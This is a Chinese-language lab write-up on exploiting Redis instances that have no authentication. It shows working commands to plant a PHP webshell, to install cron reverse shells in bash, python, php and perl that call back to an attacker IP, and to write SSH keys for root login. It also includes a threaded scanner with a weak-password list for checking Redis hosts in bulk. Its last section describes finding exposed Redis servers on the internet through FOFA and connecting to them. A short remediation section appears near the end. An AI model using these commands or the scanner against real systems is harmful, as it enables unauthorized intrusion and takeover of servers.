如果以飞鸟和繁花的标准来审判我的话,我是毫无缺点的。 ——梭罗

1 漏洞简介

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
Redis默认绑定端口6379,

2 漏洞复现

2.1 安装Redis

  1. $ wget http://download.redis.io/releases/redis-6.0.8.tar.gz
  2. $ tar xzf redis-6.0.8.tar.gz
  3. $ cd redis-6.0.8
  4. $ make

0.png

  1. $ cd src
  2. # 启用redis服务
  3. $ ./redis-server

1.png
$ ./redis-cli,redis安装完成.
3.png

2.2 redis配置

Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf
将redis.conf文件中bind 127.0.0.1前加#号注释
当前最新版本redis默认开启保护模式,即使在注释掉bind 127.0.0.1的情况下,也只允许本地进行连接。

3.2 以后有了保护模式,保护模式的作用就是在没有设置密码并且没有配置 bind 地址的时候强行只允许本机连接,但是对于绑定地址或者是配置过密码的服务来讲这一项可以忽略。 另外还有一个误区就是这个绑定地址不是绑定外部的地址,而是绑定自己服务器的允许作为与外部进行连接的 IP 地址,比如绑定自己服务器的外网 IP,或者绑定 127.0.0.1 或者绑定 0.0.0.0 ,这个绑定 0.0.0.0 就是绑定了自己服务器全部的 ip 地址(服务器可以有很多的 ip ,比如内网 ip 、回环 ip、外网 IP 等 ),因此其实对于一般的服务器来说,绑定自己的外网 ip 和直接绑定 0.0.0.0 是没区别的,不设置密码的情况下去绑定外网 ip 起不到任何的保护作用,返回会因为绑定了地址让保护模式失效遭受攻击。

4.png
修改redis.conf文件protected-mode改为no,重启 ./redis-server ../redis.conf
5.png
靶机ip: 192.168.237.128
攻机ip: 192.168.237.1
6.png
此时我们的攻击机就已经可以未授权访问靶机redis,我们的上述配置即"造成redis未授权访问"错误配置之一。在到redis后,可以查看到一些敏感信息,如下:
7.png
8.png

2.3 利用redis写webshell

在目标主机存在web服务并且具有可写权限,可以尝试写入webshell。
kali开启apahce服务: /etc/init.d/apache2 start
写入文件的关键是save命令: Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。

  1. config set dir /var/www/html
  2. config set dbfilename xx.php
  3. set webshell "<?php phpinfo();?>
  4. save

9.png
访问1.php,发现无法解析,原因是redis写入的文件会自带一些版本信息,可能会导致无法执行,只需要在写入信息中加入\r\n换行符即可:set web "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
10.png
11.png
成功执行写入文件
12.png

2.4 利用corotab反弹shell

redis写入文件到计划任务crontab目录下反弹shell。
修改/etc/crontab这种方法只有root用户能用,这种方法更加方便与直接直接给其他用户设置计划任务,而且还可以指定执行shell等等,crontab -e这种所有用户都可以使用,普通用户也只能为自己设置计划任务。然后自动写入/var/spool/cron/usename
kali开启cron服务: /etc/init.d/cron start
攻击机监听端口: nc -lvp 10240

  1. config set dir /var/spool/cron/crontabs
  2. config set dbfilename root
  3. # flushall 清除原始 root 文件的内容,也是为了避免不必要的格式错误
  4. set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.237.1/10240 0>&1\n\n"
  5. save

13.png
然而kali始终没有监听到连接,是linux环境的问题,具体可参考: 解决ubuntu crontab反弹shell失败的问题
这里存在两个问题:

  1. cron未配置邮件服务,系统日志显示: CRON[55318]: (CRON) info (No MTA installed, discarding output)

任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误。即我们执行的命令出错。
解决方案: 将标准错误重定向到输出流
* * * * * '/bin/bash -i >& /dev/tcp/192.168.237.1/10240 0>&1'>/tmp/error.txt 2>&1
查看标准错误输出: cat /tmp/error.txt,出现第2个错误,如下

  1. /bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.237.1/10240 0>&1: not found

    Ubuntu 下执行 crontab 使用的是 sh , 而 sh 软连接的是dash ,而不是 bash,那么如果你直接在 cron 里面写 bash - i xx 的反弹是不可能成功的

靶机kali是基于Debian的发行版,其/bin/sh默认软连接为/bin/dash,反弹不成功。
解决方案:
1.使用 Python或..调用 /bin/sh 反弹 shell

  1. # python
  2. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.237.1",10240));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  3. # php
  4. php -r '$sock=fsockopen("192.168.237.1",10240);exec("/bin/sh -i <&3 >&3 2>&3");'
  5. # perl
  6. perl -e 'use Socket;$i="192.168.237.1";$p=10240;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹还是失败了,跟主机环境有关系,具体原因可查看: 记一次失败漏洞利用的精力
不过奇怪的是一开始kali的cron还是能忽略乱码的,后来就不行了
2.尝试写 sh 文件,然后用 cron 去执行
由于ubuntu/debian cron不能忽略无效格式,所以该方案也难以解决问题
总结: Centos主机可通过Redis利用cron反弹shell,而Ubuntu/Debian由于对cron格式要求严格,无法通过cron写入反弹shell。

2.5 写入ssh-keygen公钥免密登录

通过写入公钥到Redis主机/root/.ssh/authorized_keys即可通过私钥进行登录。
攻击机生成一对公私钥对,默认回车即可
14.png
进入.ssh目录将生成的公钥id_rsa.pub保存到1.txt文件。并将1.txt写入Redis

  1. $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
  2. $ cat 1.txt | redis-cli -h 192.168.237.128 -x set kemoon
  3. $ redis-cli.exe -h 192.168.237.128
  4. $ config set dir /root/.ssh/
  5. $ config set dbfilename authorized_keys
  6. $ save

15.png
ssh连接,成功登陆root
16.png

3 漏洞感知

功能: 批量检测redis未授权与弱口令检测
用法: python redisBro.py ips.txt
19.png

  1. #! /usr/bin/env python
  2. # _*_ coding:utf-8 _*_
  3. from threadpool import ThreadPool,makeRequests
  4. import socket,sys,time
  5. result=[]
  6. max_thread=200
  7. pool = ThreadPool(max_thread) # 设置线程池
  8. PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin','12345678']
  9. banner=''' _ _ ___
  10. _ _ ___ _| |<_> ___| . > _ _ ___
  11. | '_>/ ._>/ . || |<_-<| . \| '_>/ . \\
  12. |_| \___.\___||_|/__/|___/|_| \___/
  13. [!]start threading
  14. [!]Dection starting...
  15. '''
  16. def check(ip, port="6379", timeout=5):
  17. try:
  18. ip = socket.gethostbyname(ip)
  19. socket.setdefaulttimeout(timeout)
  20. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  21. s.connect((ip, int(port)))
  22. s.send("INFO\r\n".encode())
  23. result = s.recv(1024).decode()
  24. if "redis_version" in result:
  25. res="[+] 存在未授权访问: {}:{}".format(ip,port)
  26. print(res)
  27. result.append(res)
  28. return True
  29. elif "Authentication" in result:
  30. for pass_ in PASSWORD_DIC:
  31. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32. s.connect((ip, int(port)))
  33. s.send(("AUTH %s\r\n" %(pass_)).encode())
  34. result = s.recv(1024).decode()
  35. if '+OK' in result:
  36. res="[+] 存在弱口令: {}:{} pass: {}".format(ip,port,pass_)
  37. print(res)
  38. result.append(res)
  39. return True
  40. except Exception as e:
  41. pass
  42. def handle_file(filename):
  43. data=[]
  44. with open(filename,'r') as f:
  45. for line in f:
  46. data.append(line[:-1])
  47. return list(set(data))
  48. if __name__ == '__main__':
  49. start=time.time()
  50. print(banner)
  51. ips=handle_file(sys.argv[1])
  52. params = [([ip], None) for ip in ips]
  53. request = makeRequests(check, params)
  54. [pool.putRequest(req) for req in request]
  55. pool.wait()
  56. with open('result.txt','w') as f:
  57. f.writelines(result)
  58. print('Detecting over in '+str(time.time()-start).split('.')[0]+'s')

4 漏洞修复

1.绑定本地IP地址: bind 127.0.0.1, 高版本redis已经默认绑定本地地址
2.设置密码,编辑redis.conf , 将requirepass 前 # 删除,输入设置的密码,重启redis
17.png
18.png

5 漏洞案例

fofa采集工具,获取redis服务端口,很不错的一个工具,只是有点不稳定:
https://github.com/uknowsec/Fofa-gui
将采集到的信息保存到txt文件,使用批量工具进行检测
1.png

连接上述主机redis,这些redis都类似如下情况,已经被人尝试利用。现在暴露在公网上的redis估计没几个了,毕竟高版本的redis已经默认bind 127.0.0.1。所以危害性还是比较小的。
2.png